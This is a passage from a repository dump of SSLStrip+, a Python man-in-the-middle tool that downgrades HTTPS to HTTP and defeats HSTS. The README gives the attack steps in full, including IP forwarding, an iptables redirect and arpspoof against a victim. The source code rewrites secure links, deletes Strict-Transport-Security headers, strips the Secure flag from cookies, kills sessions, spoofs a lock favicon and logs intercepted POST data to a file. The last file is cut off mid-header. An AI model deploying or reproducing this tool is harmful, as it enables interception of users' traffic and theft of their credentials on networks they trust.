├── .gitignore ├── COPYING ├── README ├── README.md ├── build ├── lib.linux-i686-2.6 │ └── sslstrip │ │ ├── ClientRequest.py │ │ ├── CookieCleaner.py │ │ ├── DnsCache.py │ │ ├── SSLServerConnection.py │ │ ├── ServerConnection.py │ │ ├── ServerConnectionFactory.py │ │ ├── StrippingProxy.py │ │ ├── URLMonitor.py │ │ └── __init__.py ├── lib.linux-i686-2.7 │ └── sslstrip │ │ ├── ClientRequest.py │ │ ├── CookieCleaner.py │ │ ├── DnsCache.py │ │ ├── SSLServerConnection.py │ │ ├── ServerConnection.py │ │ ├── ServerConnectionFactory.py │ │ ├── StrippingProxy.py │ │ ├── URLMonitor.py │ │ └── __init__.py ├── scripts-2.6 │ └── sslstrip └── scripts-2.7 │ └── sslstrip ├── debug_ssl.log ├── lock.ico ├── poc.log ├── setup.py ├── sslstrip.log ├── sslstrip.py └── sslstrip ├── ClientRequest.py ├── CookieCleaner.py ├── DnsCache.py ├── SSLServerConnection.py ├── ServerConnection.py ├── ServerConnectionFactory.py ├── StrippingProxy.py ├── URLMonitor.py └── __init__.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 2 | attacks. 3 | 4 | It requires Python 2.5 or newer, along with the 'twisted' python module. 5 | 6 | Installing: 7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz 8 | * Install twisted: sudo apt-get install python-twisted-web 9 | * (Optionally) run 'python setup.py install' as root to install, 10 | or you can just run it out of the directory. 11 | 12 | Running: 13 | sslstrip can be run from the source base without installation. 14 | Just run 'python sslstrip.py -h' as a non-root user to get the 15 | command-line options. 16 | 17 | The four steps to getting this working (assuming you're running Linux) 18 | are: 19 | 20 | 1) Flip your machine into forwarding mode (as root): 21 | echo "1" > /proc/sys/net/ipv4/ip_forward 22 | 23 | 2) Setup iptables to intercept HTTP requests (as root): 24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 25 | 26 | 3) Run sslstrip with the command-line options you'd like (see above). 27 | 28 | 4) Run arpspoof to redirect traffic to your machine (as root): 29 | arpspoof -i -t 30 | 31 | More Info: 32 | http://www.thoughtcrime.org/software/sslstrip/ 33 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | SSLStrip+ 2 | ========= 3 | 4 | This is a new version of [Moxie´s SSLstrip] (http://www.thoughtcrime.org/software/sslstrip/) with the new feature to avoid HTTP Strict Transport Security (HSTS) protection mechanism. 5 | 6 | This version changes HTTPS to HTTP as the original one plus the hostname at html code to avoid HSTS. Check my slides at BlackHat ASIA 2014 [OFFENSIVE: EXPLOITING DNS SERVERS CHANGES] (http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) for more information. 7 | 8 | For this to work you also need a DNS server that reverse the changes made by the proxy, you can find it at https://github.com/LeonardoNve/dns2proxy. 9 | 10 | 11 | Demo video at: http://www.youtube.com/watch?v=uGBjxfizy48 12 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import urlparse, logging, os, sys, random, re 20 | 21 | from twisted.web.http import Request 22 | from twisted.web.http import HTTPChannel 23 | from twisted.web.http import HTTPClient 24 | 25 | from twisted.internet import ssl 26 | from twisted.internet import defer 27 | from twisted.internet import reactor 28 | from twisted.internet.protocol import ClientFactory 29 | 30 | from ServerConnectionFactory import ServerConnectionFactory 31 | from ServerConnection import ServerConnection 32 | from SSLServerConnection import SSLServerConnection 33 | from URLMonitor import URLMonitor 34 | from CookieCleaner import CookieCleaner 35 | from DnsCache import DnsCache 36 | 37 | class ClientRequest(Request): 38 | 39 | ''' This class represents incoming client requests and is essentially where 40 | the magic begins. Here we remove the client headers we dont like, and then 41 | respond with either favicon spoofing, session denial, or proxy through HTTP 42 | or SSL to the server. 43 | ''' 44 | 45 | def __init__(self, channel, queued, reactor=reactor): 46 | Request.__init__(self, channel, queued) 47 | self.reactor = reactor 48 | self.urlMonitor = URLMonitor.getInstance() 49 | self.cookieCleaner = CookieCleaner.getInstance() 50 | self.dnsCache = DnsCache.getInstance() 51 | # self.uniqueId = random.randint(0, 10000) 52 | 53 | def cleanHeaders(self): 54 | headers = self.getAllHeaders().copy() 55 | 56 | if 'accept-encoding' in headers: 57 | del headers['accept-encoding'] 58 | 59 | if 'referer' in headers: 60 | real = self.urlMonitor.real 61 | if len(real)>0: 62 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 63 | headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) 64 | 65 | if 'if-modified-since' in headers: 66 | del headers['if-modified-since'] 67 | 68 | if 'cache-control' in headers: 69 | del headers['cache-control'] 70 | 71 | if 'if-none-match' in headers: 72 | del headers['if-none-match'] 73 | 74 | if 'host' in headers: 75 | host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) 76 | logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) 77 | headers['host'] = host 78 | headers['securelink'] = '1' 79 | self.setHeader('Host',host) 80 | 81 | return headers 82 | 83 | def getPathFromUri(self): 84 | if (self.uri.find("http://") == 0): 85 | index = self.uri.find('/', 7) 86 | return self.uri[index:] 87 | 88 | return self.uri 89 | 90 | 91 | def getPathToLockIcon(self): 92 | if os.path.exists("lock.ico"): return "lock.ico" 93 | 94 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) 95 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") 96 | 97 | if os.path.exists(scriptPath): return scriptPath 98 | 99 | logging.warning("Error: Could not find lock.ico") 100 | return "lock.ico" 101 | 102 | def save_req(self,lfile,str): 103 | f = open(lfile,"a") 104 | f.write(str) 105 | f.close() 106 | 107 | def handleHostResolvedSuccess(self, address): 108 | headers = self.cleanHeaders() 109 | # for header in headers: 110 | # logging.debug("HEADER %s = %s",header,headers[header]) 111 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) 112 | lhost = self.getHeader("host").lower() 113 | host = self.urlMonitor.URLgetRealHost("%s"%lhost) 114 | client = self.getClientIP() 115 | path = self.getPathFromUri() 116 | self.content.seek(0,0) 117 | postData = self.content.read() 118 | real = self.urlMonitor.real 119 | patchDict = self.urlMonitor.patchDict 120 | 121 | if len(real)>0: 122 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 123 | path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) 124 | postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) 125 | if len(patchDict)>0: 126 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 127 | postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) 128 | 129 | url = 'http://' + host + path 130 | headers['content-length']="%d"%len(postData) 131 | 132 | self.dnsCache.cacheResolution(host, address) 133 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)): 134 | logging.debug("Sending expired cookies...") 135 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, 136 | host, headers, path)) 137 | elif (self.urlMonitor.isSecureFavicon(client, path)): 138 | logging.debug("Sending spoofed favicon response...") 139 | self.sendSpoofedFaviconResponse() 140 | elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): 141 | if 'securelink' in headers: 142 | del headers['securelink'] 143 | logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) 144 | self.proxyViaSSL(address, self.method, path, postData, headers, 145 | self.urlMonitor.getSecurePort(client, url)) 146 | else: 147 | logging.debug("LEO Sending request via HTTP...") 148 | self.proxyViaHTTP(address, self.method, path, postData, headers) 149 | 150 | def handleHostResolvedError(self, error): 151 | logging.warning("Host resolution error: " + str(error)) 152 | self.finish() 153 | 154 | def resolveHost(self, host): 155 | address = self.dnsCache.getCachedAddress(host) 156 | 157 | if address != None: 158 | logging.debug("Host cached.") 159 | return defer.succeed(address) 160 | else: 161 | logging.debug("Host not cached.") 162 | return reactor.resolve(host) 163 | 164 | def process(self): 165 | host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) 166 | logging.debug("Resolving host: %s" % host) 167 | deferred = self.resolveHost(host) 168 | 169 | deferred.addCallback(self.handleHostResolvedSuccess) 170 | deferred.addErrback(self.handleHostResolvedError) 171 | 172 | def proxyViaHTTP(self, host, method, path, postData, headers): 173 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 174 | self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 175 | connectionFactory.protocol = ServerConnection 176 | self.reactor.connectTCP(host, 80, connectionFactory) 177 | 178 | def proxyViaSSL(self, host, method, path, postData, headers, port): 179 | self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 180 | clientContextFactory = ssl.ClientContextFactory() 181 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 182 | connectionFactory.protocol = SSLServerConnection 183 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 184 | 185 | def sendExpiredCookies(self, host, path, expireHeaders): 186 | self.setResponseCode(302, "Moved") 187 | self.setHeader("Connection", "close") 188 | self.setHeader("Location", "http://" + host + path) 189 | 190 | for header in expireHeaders: 191 | self.setHeader("Set-Cookie", header) 192 | 193 | self.finish() 194 | 195 | def sendSpoofedFaviconResponse(self): 196 | icoFile = open(self.getPathToLockIcon()) 197 | 198 | self.setResponseCode(200, "OK") 199 | self.setHeader("Content-type", "image/x-icon") 200 | self.write(icoFile.read()) 201 | 202 | icoFile.close() 203 | self.finish() 204 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | ServerConnection.__init__(self, command, uri, postData, headers, client) 39 | 40 | def getLogLevel(self): 41 | return logging.INFO 42 | 43 | def getPostPrefix(self): 44 | return "SECURE POST" 45 | 46 | def handleHeader(self, key, value): 47 | if (key.lower() == 'set-cookie'): 48 | newvalues =[] 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | values = value.split(';') 51 | for v in values: 52 | if v[:7].lower()==' domain': 53 | dominio=v.split("=")[1] 54 | logging.debug("LEO Parsing cookie domain parameter: %s"%v) 55 | real = self.urlMonitor.sustitucion 56 | if dominio in real: 57 | v=" Domain=%s"%real[dominio] 58 | logging.debug("LEO New cookie domain parameter: %s"%v) 59 | newvalues.append(v) 60 | value = ';'.join(newvalues) 61 | 62 | if (key.lower() == 'access-control-allow-origin'): 63 | value='*' 64 | 65 | ServerConnection.handleHeader(self, key, value) 66 | 67 | def stripFileFromPath(self, path): 68 | (strippedPath, lastSlash, file) = path.rpartition('/') 69 | return strippedPath 70 | 71 | def buildAbsoluteLink(self, link): 72 | absoluteLink = "" 73 | 74 | if ((not link.startswith('http')) and (not link.startswith('/'))): 75 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 76 | 77 | logging.debug("Found path-relative link in secure transmission: " + link) 78 | logging.debug("New Absolute path-relative link: " + absoluteLink) 79 | elif not link.startswith('http'): 80 | absoluteLink = "http://"+self.headers['host']+link 81 | 82 | logging.debug("Found relative link in secure transmission: " + link) 83 | logging.debug("New Absolute link: " + absoluteLink) 84 | 85 | if not absoluteLink == "": 86 | absoluteLink = absoluteLink.replace('&', '&') 87 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 88 | 89 | def replaceCssLinks(self, data): 90 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 91 | 92 | for match in iterator: 93 | self.buildAbsoluteLink(match.group(1)) 94 | 95 | return data 96 | 97 | def replaceFavicon(self, data): 98 | match = re.search(SSLServerConnection.iconExpression, data) 99 | 100 | if (match != None): 101 | data = re.sub(SSLServerConnection.iconExpression, 102 | "", data) 103 | else: 104 | data = re.sub(SSLServerConnection.headExpression, 105 | "", data) 106 | 107 | return data 108 | 109 | def replaceSecureLinks(self, data): 110 | data = ServerConnection.replaceSecureLinks(self, data) 111 | data = self.replaceCssLinks(data) 112 | 113 | if (self.urlMonitor.isFaviconSpoofing()): 114 | data = self.replaceFavicon(data) 115 | 116 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 117 | 118 | for match in iterator: 119 | self.buildAbsoluteLink(match.group(10)) 120 | 121 | return data 122 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlTypewww = re.compile(r"https://www", re.IGNORECASE) 34 | urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 35 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 36 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) 37 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) 38 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) 39 | 40 | def __init__(self, command, uri, postData, headers, client): 41 | self.command = command 42 | self.uri = uri 43 | self.postData = postData 44 | self.headers = headers 45 | self.client = client 46 | self.urlMonitor = URLMonitor.getInstance() 47 | self.isImageRequest = False 48 | self.isCompressed = False 49 | self.contentLength = None 50 | self.shutdownComplete = False 51 | 52 | def getLogLevel(self): 53 | return logging.DEBUG 54 | 55 | def getPostPrefix(self): 56 | return "POST" 57 | 58 | def sendRequest(self): 59 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 60 | self.sendCommand(self.command, self.uri) 61 | 62 | def sendHeaders(self): 63 | for header, value in self.headers.items(): 64 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 65 | self.sendHeader(header, value) 66 | 67 | self.endHeaders() 68 | 69 | def sendPostData(self): 70 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 71 | self.transport.write(self.postData) 72 | 73 | def connectionMade(self): 74 | logging.log(self.getLogLevel(), "HTTP connection made.") 75 | self.sendRequest() 76 | self.sendHeaders() 77 | 78 | if (self.command == 'POST'): 79 | self.sendPostData() 80 | 81 | def handleStatus(self, version, code, message): 82 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 83 | self.client.setResponseCode(int(code), message) 84 | 85 | def handleHeader(self, key, value): 86 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 87 | 88 | if (key.lower() == 'location'): 89 | value = self.replaceSecureLinks(value) 90 | 91 | if (key.lower() == 'content-type'): 92 | if (value.find('image') != -1): 93 | self.isImageRequest = True 94 | logging.debug("Response is image content, not scanning...") 95 | 96 | if (key.lower() == 'content-encoding'): 97 | if (value.find('gzip') != -1): 98 | logging.debug("Response is compressed...") 99 | self.isCompressed = True 100 | elif (key.lower() == 'content-length'): 101 | self.contentLength = value 102 | elif (key.lower() == 'set-cookie'): 103 | self.client.responseHeaders.addRawHeader(key, value) 104 | elif (key.lower()== 'strict-transport-security'): 105 | logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") 106 | else: 107 | self.client.setHeader(key, value) 108 | 109 | 110 | def handleEndHeaders(self): 111 | if (self.isImageRequest and self.contentLength != None): 112 | self.client.setHeader("Content-Length", self.contentLength) 113 | 114 | if self.length == 0: 115 | self.shutdown() 116 | 117 | def handleResponsePart(self, data): 118 | if (self.isImageRequest): 119 | self.client.write(data) 120 | else: 121 | HTTPClient.handleResponsePart(self, data) 122 | 123 | def handleResponseEnd(self): 124 | if (self.isImageRequest): 125 | self.shutdown() 126 | else: 127 | HTTPClient.handleResponseEnd(self) 128 | 129 | def handleResponse(self, data): 130 | if (self.isCompressed): 131 | logging.debug("Decompressing content...") 132 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 133 | 134 | logging.log(self.getLogLevel(), "Read from server:\n" + data) 135 | #logging.log(self.getLogLevel(), "Read from server:\n " ) 136 | 137 | 138 | data = self.replaceSecureLinks(data) 139 | 140 | if (self.contentLength != None): 141 | self.client.setHeader('Content-Length', len(data)) 142 | 143 | self.client.write(data) 144 | self.shutdown() 145 | 146 | def replaceSecureLinks(self, data): 147 | sustitucion = {} 148 | patchDict = self.urlMonitor.patchDict 149 | if len(patchDict)>0: 150 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 151 | data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) 152 | 153 | iterator = re.finditer(ServerConnection.urlExpression, data) 154 | for match in iterator: 155 | url = match.group() 156 | 157 | logging.debug("Found secure reference: " + url) 158 | nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 159 | logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) 160 | sustitucion[url] = nuevaurl 161 | #data.replace(url,nuevaurl) 162 | 163 | #data = self.urlMonitor.DataReemplazo(data) 164 | if len(sustitucion)>0: 165 | dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) 166 | data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) 167 | 168 | #logging.debug("LEO DEBUG received data:\n"+data) 169 | #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) 170 | #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) 171 | #if data.find("http://w.face")!=-1: 172 | # logging.debug("LEO DEBUG Found error in modifications") 173 | # raw_input("Press Enter to continue") 174 | #return re.sub(ServerConnection.urlType, 'http://web.', data) 175 | return data 176 | 177 | 178 | def shutdown(self): 179 | if not self.shutdownComplete: 180 | self.shutdownComplete = True 181 | self.client.finish() 182 | self.transport.loseConnection() 183 | 184 | 185 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it 